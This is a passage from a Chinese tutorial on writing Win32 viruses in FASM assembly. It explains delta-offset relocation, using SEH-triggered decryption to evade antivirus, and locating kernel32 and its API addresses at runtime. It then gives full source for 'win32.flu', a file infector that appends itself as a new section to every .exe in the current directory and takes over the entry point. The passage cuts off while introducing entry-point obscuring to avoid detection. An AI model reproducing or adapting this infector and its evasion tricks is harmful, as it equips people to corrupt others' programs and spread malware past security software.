6、重定位的奥秘
---------------
重定位源于代码中的地址操作,如果没有地址操作那么就不存在所谓的重定位了。让我们先
来分析一段代码。考虑如下代码:
format PE GUI 4.0
mov esi,pszText
ret
pszText db '#$%*(*)@#$%',0
打开softice,看看我们代码被编译为:
001B:00401000 BE06104000 MOV ESI,00401006
001B:00401005 C3 RET
001B:00401006 ...
可见,pszText的地址是在编译时计算好的。我们的病毒代码如果要插入到宿主体内,那么这
个地址就不正确了。我们必须使我们的这个地址是在运行时计算出来的。这就是病毒中经典
的重定位问题。考虑如下代码:
format PE GUI 4.0
call delta
delta:
pop ebp
sub ebp,delta
lea esi,dword [ebp+pszText]
ret
pszText db '#$%*(*)@#$%',0
我们再来看看这次我们的代码被翻译成了什么样 :P
001B:00401000 E800000000 CALL 00401005
001B:00401005 5D POP EBP
001B:00401006 81ED05104000 SUB 00401005
001B:0040100C 8DB513104000 LEA ESI,[EBP+00401013]
001B:00401012 C3 RET
001B:00401013 ...
我们首先用call/pop指令得到了delta在内存中的实际地址(为什么要用这样一个call/pop
结构呢?我们看到这个call被翻译成E8 00 00 00 00,后面的00000000为相对地址,所以这
个指令被翻译成mov 00401005。因为后面是一个相对地址,所以当这段代码被插入到宿主中
后这个call依然可以得到正确的地址),在这个程序中是00401005。然后得到delta的偏移
地址(offset),这个地址也是00401005,但我们从指令的机器码中看到这个地址是个绝对
地址。我们用这个实际的地址减去这个绝对的偏移地址就得到了这个程序段对于插入前原程
序段的偏移量。这是什么意思呢,上面的程序其实根本不需要重定位,让我们来考虑这样一
个情况:
假设上面的代码被插入到了宿主中。假设插入的地址为00501000(取这个地址是为了计算方
便 :P),这时通过call/pop得到delta的地址为00501005。但delta的offset是在编译时计算
的绝对地址,所以仍为00401005。这两个值相减就得到了这个程序段相对于原程序段的偏移
量00100000。这就意味着我们所有地址操作都要加上这个偏移才能调整到正确的地址。这就
是代码的自身重定位。
当然这种重定位还可以写成别的形式,比如:
call
shit:
...
delta:
pop ebp
sub ebp,shit
...
等等... 这些就留给读者自己去分析吧。
7、SEH
------
我们都知道,在x86系列中,保护模式下的异常处理是CPU通过在IDT中查询相应的异常处理
例程来完成的。Win32中,系统利用SEH(Structured Exception Handling,结构化异常处
理)来实现对IDT内异常的处理。同时,SEH还被用来处理用户自定义异常。
可能读者对SEH这个词不很熟悉,但对于下边的程序大家也许都不会感到陌生:
#pragma warning (disable: 4723)
#include
#include
using namespace std;
int main (int argc, char *argv[])
{
__try
{
int a=0,b=456;
a=b/a;
}
__except (GetExceptionCode () == EXCEPTION_INT_DIVIDE_BY_ZERO ?
EXCEPTION_EXECUTE_HANDLER : EXCEPTION_CONTINUE_SEARCH)
{
cout<<"产生除0异常/n"<
return 0;
}
这里的__try / __except用到的就是SEH。下面我们来看一下SEH的工作原理。在Win32的线
程中,FS总是指向一个叫做TIB(Thread Information Block,线程信息块)的结构,在NT
系统中这个结构为TEB(Thread Environment Block,线程环境块)。我们不需要清楚整个
结构,我们只需要知道这个结构的第一个双字是指向EXCEPTION_REGISTRATION结构的指针。
; 这是FASM对结构的定义,熟悉一下 :P
struc EXCEPTION_REGISTRATION
{
.prev dd ?
.handler dd ?
}
prev字段指向下一个ER结构。handler指向异常处理例程。这是一个典型的链表结构。每当
有异常发生时,SEH机制被激活。然后SEH通过TIB/TEB找到ER链,并搜寻合适的异常处理例
程。
下面我们看一个简单的程序,这个程序演示了怎样利用SEH来除错。
format PE GUI 4.0
entry __start
section '.text' code readable executable
__start:
xor eax,eax
xchg [eax],eax
ret
运行程序,发现产生了异常,下面我们把上面的代码前面加上这两句:
push dword [fs:0]
mov [fs:0],esp
再次运行程序,怎么样?程序正常退出了。打开SOFTICE并加载该程序进行调试。查看ESP指
向的地址:
: d esp2
0023:0006FFC4 C7 14 E6 77 ..
可知程序RET后的返回地址为77e614c7h,所以查看这个地址处的代码:
: u 77e614c7
001B:77E614C7 PUSH EAX
001B:77E614C8 CALL Kernel32! ExitThread
可见,程序被加载到内存后栈顶的双字指向ExitThread,我们的程序就是简单地把这个函数
当做了异常处理例程。这样当有异常发生是程序便退出了,没有了那个讨厌的异常对话框。
当然,我们利用SEH的目的并不是简单地让程序在发生错误时直接退出。多数教程在将SEH时
都会举除0错误并用SEH除错的例子。这样的例子太多了,google上可以搜到很多,所以这里
我就不做无用功了 :P 下面的例子演示了一个利用SEH解密的例子:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
_decript:
mov ecx,encripted_size ; decript
mov esi,encripted
mov edi,esi
decript:
lodsb
xor al,15h
stosb
loop decript
mov eax,[esp+0ch] ; context
mov dword [eax+0b8h],encripted
xor eax,eax ; ExceptionContinueExecution
ret
__start:
lea eax,[esp-8] ; setup seh frame
xchg eax,[fs:0]
push _decript
push eax
mov ecx,encripted_size ; encript
mov esi,encripted
mov edi,esi
encript:
lodsb
xor al,15h
stosb
loop encript
int 3 ; start decription
encripted:
xor eax,eax ; simply show a message box
push eax
call push_caption
db 'SEH',0
push_caption:
call push_text
db 'A simple SEH test :P',0
push_text:
push eax
call [MessageBox]
encripted_size = $-encripted
ret
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
程序分为三个部分:建立自定义异常处理例程、加密代码、利用SEH解密。下面我们对这三个
部分分别进行分析。
程序首先在堆栈上腾出一个ER空间(lea),然后然后使FS:0指向它。之后填充这个ER结构,
prev字段填为之前的FS:[0],handler字段为自定义的异常处理例程_decript。这样我们就
完成了SEH的修改。
下面是代码的加密,这段代码在后面的章节会讲到。这里是简单地把被加密代码的每个字节
与一个特定的值(程序中是15h)相异或(再次异或即解密),这就是最简单的加密手段。
之后我们用int 3引发一个异常,这时我们的_decript被激活,我们使用与加密完全相同的
代码解密。到这里,我们还是在复习前面的知识 :P 后面的代码有点费解了,没关系,让我
们来慢慢理解 :P
我们先来看看SEH要求的异常处理例程回调函数原形:
VOID WINAPI (*_STRUCTURED_EXCEPTION_HANDLER) (
PEXCEPTION_RECORD pExceptionRecord,
PEXCEPTION_REGISTRATION pSEH,
PCONTEXT pContext,
PEXCEPTION_RECORD pDispatcherContext
);
我们先来看一下EXCEPTION_RECORD结构:
typedef struct _EXCEPTION_RECORD {
DWORD ExceptionCode;
DWORD ExceptionFlags;
struct _EXCEPTION_RECORD *ExceptionRecord;
PVOID ExceptionAddress;
DWORD NumberParameters;
ULONG_PTR ExceptionInformation[EXCEPTION_MAXIMUM_PARAMETERS];
} EXCEPTION_RECORD, *PEXCEPTION_RECORD;
ExceptionCode字段定义了产生异常的原因,下面是WinNT.h中对异常的部分定义:
...
#define STATUS_GUARD_PAGE_VIOLATION ((DWORD )0x80000001L)
#define STATUS_DATATYPE_MISALIGNMENT ((DWORD )0x80000002L)
#define STATUS_BREAKPOINT ((DWORD )0x80000003L)
#define STATUS_SINGLE_STEP ((DWORD )0x80000004L)
#define STATUS_ACCESS_VIOLATION ((DWORD )0xC0000005L)
#define STATUS_IN_PAGE_ERROR ((DWORD )0xC0000006L)
#define STATUS_INVALID_HANDLE ((DWORD )0xC0000008L)
#define STATUS_NO_MEMORY ((DWORD )0xC0000017L)
#define STATUS_ILLEGAL_INSTRUCTION ((DWORD )0xC000001DL)
...
我们并不太关心这个结构的其他字段。下面我们需要理解的是CONTEXT结构。我们知道Win-
dows为线程循环地分配时间片,当一个线程被挂起后,为了以后它还可以恢复运行,系统必
须保存其线程环境。对一个线程来说,其环境就是各个寄存器的值,只要寄存器的值不变其
线程环境就没有变。所以只需要把这个线程的寄存器状态保存下来就可以了。Windows用一个
CONTEXT结构来保存这些寄存器的状态。下面是WinNT.h中对CONTEXT的定义:
typedef struct _CONTEXT {
DWORD ContextFlags;
DWORD Dr0;
DWORD Dr1;
DWORD Dr2;
DWORD Dr3;
DWORD Dr6;
DWORD Dr7;
FLOATING_SAVE_AREA FloatSave;
DWORD SegGs;
DWORD SegFs;
DWORD SegEs;
DWORD SegDs;
DWORD Edi;
DWORD Esi;
DWORD Ebx;
DWORD Edx;
DWORD Ecx;
DWORD Eax;
DWORD Ebp;
DWORD Eip;
DWORD SegCs;
DWORD EFlags;
DWORD Esp;
DWORD SegSs;
BYTE ExtendedRegisters[MAXIMUM_SUPPORTED_EXTENSION];
} CONTEXT, *PCONTEXT;
最后我们再来说一下这个异常处理过程的返回值,这个返回值决定了程序下一步的执行情
况,很多人在刚刚接触SEH的时候总是忽略这个返回值,导致程序不能得到正确的结果,我
就犯过这样的错误 :P
SEH异常处理例程的返回值有4种定义:
ExceptionContinueExecution(=0):返回后系统把线程环境设置为CONTEXT的状态后继续
执行。
ExceptionContinueSearch(=1):表示这个异常处理例程拒绝处理这个异常,系统会根据
ER的prev字段搜索下一个异常处理例程并调用它。
ExceptionNestedException(=2):表示发生了嵌套异常,即异常处理例程中发生了新的异
常。
ExceptionCollidedUnwind(=3):发生了嵌套的展开。
现在我们再回过头来看我们刚才的代码,程序中首先通过mov eax,[esp+0ch]得到CONTEXT结
构,然后通过mov dword [eax+0b8h],encripted把encripted的地址写到CONTEXT的Eip字段
中。这样,当这个异常处理以ExceptionContinueExecution返回时程序就会执行Eip处开始
的代码了。而异常处理中的代码是很难动态跟踪的,我们可以利用SEH的这个特点骗过一些
杀毒软件 :P
好了,又结束了一节 :D 我们距离真正编写一个病毒已经不远了,让我们来看看我们还需要
什么 :P
8、API函数地址的获得
--------------------
回忆一下刚才我们是如何调用API的:首先,引入表是由一系列的IMAGE_IMPORT_DESCRIPTOR
结构组成的,这个结构中有一个FirstThunk字段,它指向一个数组,这个数组中的值在文件
被pe ldr加载到内存后被改写成函数的真正入口。一些编译器在调用API时把后面的地址指向
一个跳转表,这个跳转表中的jmp后面的地址就是FirstThunk中函数的真正入口。对于FASM
编译器,由于PE文件的引入表是由我们自己建立的,所以我们可以直接使用FirstThunk数组
中的值。
无论是哪种情况,总之,call的地址在编译时就被确定了。而我们的病毒代码是要插入到宿
主的代码中去的,所以我们的call指令后面的地址必须是在运行时计算的。那么怎么找到API
函数的地址呢?我们可以到宿主的引入表中去搜索那个对应函数的FirstThunk,但是这样做
有一个问题,我们需要函数并不一定是宿主程序需要的。换句话说,就是可能我们需要的函
数在宿主的引入表中不存在。这使我们不得不考虑别的实现。我们可以直接从模块的导出表
中搜索API的地址。
8.1、暴力搜索kernel32.dll
-------------------------
在kernel32.dll中有两个API -- LoadLibraryA和GetProcAddress。前者用来加载一个动态
链接库,后者用来从一个已加载的动态链接库中找到API的地址。我们只要得到这两个函数
就可以调用任何库中的任意函数了。
在上一节中我们说过,程序被加载后[esp]的值是kernel32.dll中的ExitThread的地址,所以
我们可以肯定kernel32.dll是一定被加载的模块。所以我们第一步就是要找到kernel32.dll
在内存中的基地址。
那么我们从哪里入手呢?我们可以使用硬编码,比如Win2k下一般是77e60000h,WinXP SP1
是77e40000h,SP2是7c800000h等。但是这么做不具有通用性,所以这里我们介绍一个通用
也是现在最流行的方法:暴力搜索kernel32.dll。
大概的思想是这样的:我们只要找到得到任意一个位于kernel32.dll地址空间的地址,从这
个地址向下搜索就一定能得到kernel32.dll的基址。还记得刚才说的那个[esp]么,那个
ExitThread的地址就是位于kernel32.dll中的,我们可以从这里入手。考虑如下代码:
mov edi,[esp] ; get address of kernel32!ExitThread
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
... ; now EDI contains the kernel base
; zero if not found
程序首先把ExitThread的地址和0ffff0000h相与,因为kernel32.dll在内存中一定是1000h字
节对齐的(什么?为什么?还记得IMAGE_OPTIONAL_HEADER中的SectionAlignment么 :P)。
然后我们比较EDI指向的字单元是不是MZ标识,如果不是那么一定不是一个PE文件的起始位
置;如果是,那么我们就得到e_lfanew。我们先检查这个偏移是不是小于4k,因为这个值一
般是不会大于4k的。如果仍然符合条件,我们把这个值与EDI相加,如果EDI就是kernel32的
基址那么这时相加的结果应该指向IMAGE_NT_HEADER,所以我们检查这个字单元,如果是PE
标识,那么我们可以肯定这就是我们要找的kernel32了;如果不是把EDI的值减少4k并继续
查找。一般kernel32.dll的基址不会低于70000000h的,所以我们可以把这个地址作为下界,
如果低于这个地址我们还没有找到kernel32那么我们可以认为我们找不到kernel32了 :P
但是上面的作为有一些缺陷,因为我们的代码是要插入到宿主体内的,所以我们不能保证在
我们的代码执行前堆栈没有被破坏。假如宿主在我们的代码执行前进行了堆栈操作那么我们
很可能就得不到kernel32.dll了。
还有一个方法,就是遍历SEH链。在SEH链中prev字段为0ffffffffh的ER结构的异常处理例程
是在kernel32.dll中的。所以我们可以找到这个ER结构,然后...
下面我给出一个完整的程序,演示了如何搜索kernel32.dll并显示:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
szText: times 20h db 0
;
; _get_krnl_base: get kernel32.dll's base address
;
; input:
; nothing
;
; output:
; edi: base address of kernel32.dll, 0 if not found
;
_get_krnl_base:
mov esi,[fs:0]
visit_seh:
lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl:
lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
ret
;
; main entrance...
;
__start:
call _get_krnl_base
push edi ; now EDI contains the kernel base
call push_format ; zero if not found
db 'kernel32 base = 0x%X',0
push_format:
push szText
call [wsprintf]
add esp,0ch
xor eax,eax
push eax
call push_caption
db 'kernel',0
push_caption:
push szText
push eax
call [MessageBox]
ret
;
; import section...
;
section '.idata' import data readable
; image import descriptor
dd 0,0,0,RVA usr_dll,RVA usr_thunk
dd 0,0,0,0,0
; dll name
usr_dll db 'user32.dll',0
; image thunk data
usr_thunk:
MessageBox dd RVA __imp_MessageBox
wsprintf dd RVA __imp_wsprintf
dd 0
; image import by name
__imp_MessageBox dw 0
db 'MessageBoxA',0
__imp_wsprintf dw 0
db 'wsprintfA',0
8.2、搜索导出表,获取API地址
----------------------------
在开始之前,如果大家对前面导出表的知识还不熟悉,那么请务必再复习一遍,否则后边的
内容会显得很晦涩...
好了,我们继续吧 :P
整个搜索的过程说起来很简单,但做起来很麻烦,让我们一点一点来。首先我们要先导出函
数名称表中找到我们要得到的函数,并记下它在这个数组中的索引值。然后通过这个索引值
在序号数组中找到它对应的序号。最后通过这个序号在导出函数入口表中找到其入口。
下面我们慢慢来。先要匹配函数名。假设edx中存放着kernel32.dll的基址,esi中存放着API
的名称。考虑如下代码:
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,ebp
mov ecx,dword [esp+08h] ; length of API name
mov esi,dword [esp+0ch] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,ebp
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
上面的代码首先把kernel32.dll的基址复制到ebx中保存,然后计算了API名称的长度(包括
零)并进行匹配,如果匹配成功则edx包含了这个函数在函数名数组中的索引值。下面在序号
数组中通过这个索引值得到这个函数的序号。考虑如下代码:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
首先我们可以得到序号数组的RVA,然后把这个值与模块(这里是kernel32.dll)的基地址
相加,这样就得到了数组的内存地址。由于序号数组是WORD型的,所以我们的索引值必须要
乘以2。然后通过这个值在数组中索引到函数在导出函数入口表中的索引。由于这个数组是
DWORD型的,所以我们这个索引要乘以4。我们很容易得到导出函数入口表的内存地址。最后
我们通过刚才的索引得到函数的入口地址。
下面我们看一个完整的代码:
format PE GUI 4.0
entry __start
;
; code section...
;
section '.text' code readable writeable executable
;
; _get_krnl_base: get kernel32.dll's base address
;
; input:
; nothing
;
; output:
; edi: base address of kernel32.dll, zero if not found
;
_get_krnl_base:
mov esi,[fs:0]
visit_seh:
lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl:
lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe:
dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
xor edi,edi ; base not found
krnl_found:
ret
;
; _get_apiz: get apiz from a loaded module, something like GetProcAddress
;
; input:
; edx: module handle (module base address)
; esi: API name
;
; output:
; eax: API address, zero if fail
;
_get_apiz:
push ebp
mov ebp,esp
push ebx
push ecx
push edx
push esi
push edi
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return:
add esp,14h
pop edi
pop esi
pop edx
pop ecx
pop ebx
mov esp,ebp
pop ebp
ret
;
; main entrance...
;
__start:
call _get_krnl_base ; get kernel32.dll base address
or edi,edi
jz exit
xchg edi,edx ; edx <-- kernel32.dll's image base
call @f
db 'LoadLibraryA',0
@@:
pop esi ; esi <-- api name
call _get_apiz
or eax,eax
jz exit
mov [__addr_LoadLibrary],eax
call @f
db 'GetProcAddress',0
@@:
pop esi
call _get_apiz
or eax,eax
jz exit
mov [__addr_GetProcAddress],eax
call @f
db 'user32.dll',0
@@:
mov eax,12345678h
__addr_LoadLibrary = $-4
call eax
call @f
db 'MessageBoxA',0
@@:
push eax
mov eax,12345678h
__addr_GetProcAddress = $-4
call eax
xor ecx,ecx
push ecx
call @f
db 'get_apiz',0
@@:
call @f
db 'Can you find the import section from this app ^_^',0
@@:
push ecx
call eax
exit:
ret
9、实现一个最简单的病毒
-----------------------
在这一节,我们来看一个最简单的病毒,一个search+infect+payload的direct action病毒 :P
嗯...有什么好解释的呢?似乎过于简单了,我们还是直接看代码吧:
format PE GUI 4.0
entry _vStart
include 'useful.inc'
virtual at esi
vMZ_esi IMAGE_DOS_HEADER
end virtual
virtual at esi
vFH_esi IMAGE_FILE_HEADER
end virtual
virtual at esi
vOH_esi IMAGE_OPTIONAL_HEADER
end virtual
.coderwe
_vStart:
call delta
delta: pop ebp
call _get_krnl
or edi,edi
jz jmp_host
xchg edi,edx
lea esi,[ebp+api_namez-delta]
lea edi,[ebp+api_addrz-delta]
get_apiz: call _get_apiz
or eax,eax
jz apiz_end
stosd
jmp get_apiz
wfd WIN32_FIND_DATA
apiz_end:
cmp ebp,delta ; is this the origin virus?
jz infect_filez
@pushsz 'user32.dll'
call [ebp+__addr_LoadLibraryA-delta]
or eax,eax
jz jmp_host
xchg eax,edx
@pushsz 'MessageBoxA'
pop esi
call _get_apiz
xor esi,esi
@call eax,esi,'This file has been infected... :P','win32.flu',esi
call infect_filez
jmp jmp_host
infect_filez:
lea eax,[ebp+wfd-delta]
push eax
@pushsz '*.exe'
call [ebp+__addr_FindFirstFileA-delta]
inc eax
jz jmp_host
dec eax
mov dword [ebp+hFindFile-delta],eax
next_file: lea esi,[ebp+wfd.WFD_szFileName-delta]
call _infect_file
lea eax,[ebp+wfd-delta]
push eax
push 12345678h
hFindFile = $-4
call [ebp+__addr_FindNextFileA-delta]
or eax,eax
jnz next_file
push dword [hFindFile]
call [ebp+__addr_FindClose-delta]
ret
; get kernel32.dll image base...
_get_krnl:
@SEH_SetupFrame
mov esi,[fs:0]
visit_seh: lodsd
inc eax
jz in_krnl
dec eax
xchg esi,eax
jmp visit_seh
in_krnl: lodsd
xchg eax,edi
and edi,0ffff0000h ; base address must be aligned by 1000h
krnl_search:
cmp word [edi],'MZ' ; 'MZ' signature?
jnz not_pe ; it's not a PE, continue searching
lea esi,[edi+3ch] ; point to e_lfanew
lodsd ; get e_lfanew
test eax,0fffff000h ; DOS header+DOS stub mustn't > 4k
jnz not_pe ; it's not a PE, continue searching
add eax,edi ; point to IMAGE_NT_HEADER
cmp word [eax],'PE' ; 'PE' signature?
jnz not_pe ; it's not a PE, continue searching
jmp krnl_found
not_pe: dec edi
xor di,di ; decrease 4k bytes
cmp edi,70000000h ; the base cannot below 70000000h
jnb krnl_search
seh_handler:
xor edi,edi ; base not found
krnl_found:
@SEH_RemoveFrame
ret
; get apiz using in virus codez...
_get_apiz:
pushad
xor eax,eax
cmp byte [esi],0
jz ret_value
or edx,edx ; module image base valid?
jz return
mov ebx,edx ; save module image base for
; later use
push esi ; save API name
xchg esi,edi
xor ecx,ecx
xor al,al
dec ecx
repnz scasb
neg ecx
dec ecx
push ecx ; save length of the API name
mov dword [vPushad_ptr.Pushad_esi+08h],edi
lea edi,[edx+3ch]
add edx,dword [edi] ; edx points to IMAGE_NT_HEADER
push edx ; save IMAGE_NT_HEADER
mov edi,dword [edx+78h] ; edi has the RVA of export table
add edi,ebx ; edi points to export table
push edi ; save address of export table
lea esi,[edi+18h]
lodsd ; eax get NumberOfNames
push eax ; save NumberOfNames
mov esi,[edi+20h]
add esi,ebx ; now points to name RVA table
xor edx,edx
match_api_name:
lodsd
add eax,ebx
xchg eax,edi ; get a API name
xchg esi,eax
mov ecx,dword [esp+0ch] ; length of API name
mov esi,dword [esp+10h] ; API name buffer
repz cmpsb
jz api_name_found
xchg esi,eax
inc edx
cmp edx,dword [esp]
jz api_not_found
jmp match_api_name
api_not_found:
xor eax,eax
xor edi,edi
jmp return
api_name_found:
shl edx,1
mov esi,[esp+04h] ; export table address
mov eax,[esi+24h]
add eax,ebx ; ordinal table
movzx edx,word [eax+edx]
shl edx,2
mov eax,[esi+1ch]
add eax,ebx ; function address table
mov eax,[eax+edx]
add eax,ebx ; found!!!
return: add esp,14h
ret_value: mov [vPushad_ptr.Pushad_eax],eax
popad
ret
; file infecting procedure...
_infect_file:
pushad
@FILE_CreateFileRW [ebp+__addr_CreateFileA-delta],esi
inc eax
jz end_infect
dec eax
mov [ebp+hFile-delta],eax
@FILE_CreateFileMappingRW [ebp+__addr_CreateFileMappingA-delta],eax,NULL
or eax,eax
jz close_file
mov [ebp+hFileMapping-delta],eax
@FILE_MapViewOfFileRW [ebp+__addr_MapViewOfFile-delta],eax
or eax,eax
jz close_map
mov [ebp+pMem-delta],eax
xchg eax,esi
cmp word [esi],'MZ' ; check if it's a PE file
jnz unmap_file ; (MZ has the same ext. name
mov eax,[vMZ_esi.MZ_lfanew] ; .exe :P)
test ax,0f000h
jnz unmap_file
add esi,eax ; esi: IMAGE_NT_HEADER
lodsd ; esi: IMAGE_FILE_HEADER
cmp ax,'PE'
jnz unmap_file
cmp dword [esi-8],32ef12abh ; signature...
jz unmap_file
test word [vFH_esi.FH_Characteristics],IMAGE_FILE_SYSTEM
jnz unmap_file ; don't infect system filez
movzx eax,[vFH_esi.FH_NumberOfSections]
mov ecx,28h
imul ecx
add eax,vImageNtHeader.size
lea edx,[esi-4]
add eax,edx
mov edi,eax ; edi: ptr to new section table
add eax,ecx
sub eax,dword [ebp+pMem-delta]
cmp eax,[esi+vImageFileHeader.size+vImageOptionalHeader.OH_SizeOfHeaders]
ja unmap_file
inc [vFH_esi.FH_NumberOfSections] ; increase number of sections
add esi,vImageFileHeader.size ; esi: IMAGE_OPTIONAL_HEADER
xor edx,edx
mov ecx,[vOH_esi.OH_FileAlignment]
mov eax,virus_size
idiv ecx
sub ecx,edx
add ecx,virus_size
mov dword [ebp+dwSizeOfRawData-delta],ecx
mov eax,[vOH_esi.OH_SizeOfImage]
mov dword [ebp+dwVirtualAddress-delta],eax
lea edx,[vOH_esi.OH_AddressOfEntryPoint]
mov ebx,[edx]
add ebx,[vOH_esi.OH_ImageBase]
xchg dword [ebp+__addr_host-delta],ebx
mov [edx],eax
add [vOH_esi.OH_SizeOfImage],ecx
lea eax,[esp-4]
push eax
push dword [ebp+hFile-delta]
call [ebp+__addr_GetFileSize-delta]
mov dword [ebp+dwPointerToRawData-delta],eax
push esi ; save esi
call @f
db '.flu',0,0,0,0
dd virus_size
dd 12345678h
dwVirtualAddress = $-4
dd 12345678h
dwSizeOfRawData = $-4
dd 12345678h
dwPointerToRawData = $-4
dd 0,0,0
dd 0E0000020h ; read-write executable
db 'PKER / CVC.GB' ; a little signature :P
@@: pop esi
mov ecx,0ah
rep movsd
pop esi ; restore
mov dword [esi-vImageFileHeader.size-8],32ef12abh ; signature
xor eax,eax
push eax
push eax
push dword [ebp+dwPointerToRawData-delta]
push dword [ebp+hFile-delta]
call [ebp+__addr_SetFilePointer-delta]
push 0
lea eax,[ebp+dwVirtualAddress-delta]
push eax
push dword [ebp+dwSizeOfRawData-delta]
lea eax,[ebp+_vStart-delta]
push eax
push dword [ebp+hFile-delta]
call [ebp+__addr_WriteFile-delta]
xchg dword [ebp+__addr_host-delta],ebx
unmap_file: push 12345678h
pMem = $-4
call [ebp+__addr_UnmapViewOfFile-delta]
close_map: push 12345678h
hFileMapping = $-4
call [ebp+__addr_CloseHandle-delta]
close_file: push 12345678h
hFile = $-4
call [ebp+__addr_CloseHandle-delta]
end_infect:
popad
ret
; go back to host...
jmp_host: mov eax,12345678
__addr_host = $-4
jmp eax
; apiz used in virus...
api_namez: db 'LoadLibraryA',0
db 'CreateFileA',0
db 'CloseHandle',0
db 'CreateFileMappingA',0
db 'MapViewOfFile',0
db 'UnmapViewOfFile',0
db 'FindFirstFileA',0
db 'FindNextFileA',0
db 'FindClose',0
db 'GetFileSize',0
db 'SetFilePointer',0
db 'WriteFile',0
db 0
api_addrz: __addr_LoadLibraryA dd ?
__addr_CreateFileA dd ?
__addr_CloseHandle dd ?
__addr_CreateFileMappingA dd ?
__addr_MapViewOfFile dd ?
__addr_UnmapViewOfFile dd ?
__addr_FindFirstFileA dd ?
__addr_FindNextFileA dd ?
__addr_FindClose dd ?
__addr_GetFileSize dd ?
__addr_SetFilePointer dd ?
__addr_WriteFile dd ?
_vEnd:
virus_size = $-_vStart
这个病毒(简单的简直不能称之为病毒 :P)感染当前目录下的所有.exe文件(PE格式,不感
染DOS格式的可执行文件)。不过这个病毒在感染上有一些bug,对于压缩的程序会有问题:(
测试一下试试,是不是被NAV杀掉了呢?:P
10、EPO
-------
为什么我们的Win32.flu会就被NAV认定为是病毒呢? Vxk/CVC告诉我们,AV虚拟机在对程序
入口进行检查时有一个会规定一个范围,如果程序的入口地址超过了某一个范围(阈值)而
程序又没有壳特征,那么就会被认为是病毒。
那有什么办法让avsoft认不出我们的病毒么?我们可以试一试EPO(Entry Point Obscuring
入口模糊技术)。所谓入口模糊技术是指不修改宿主代码入口点的感染。既然不修改入口,
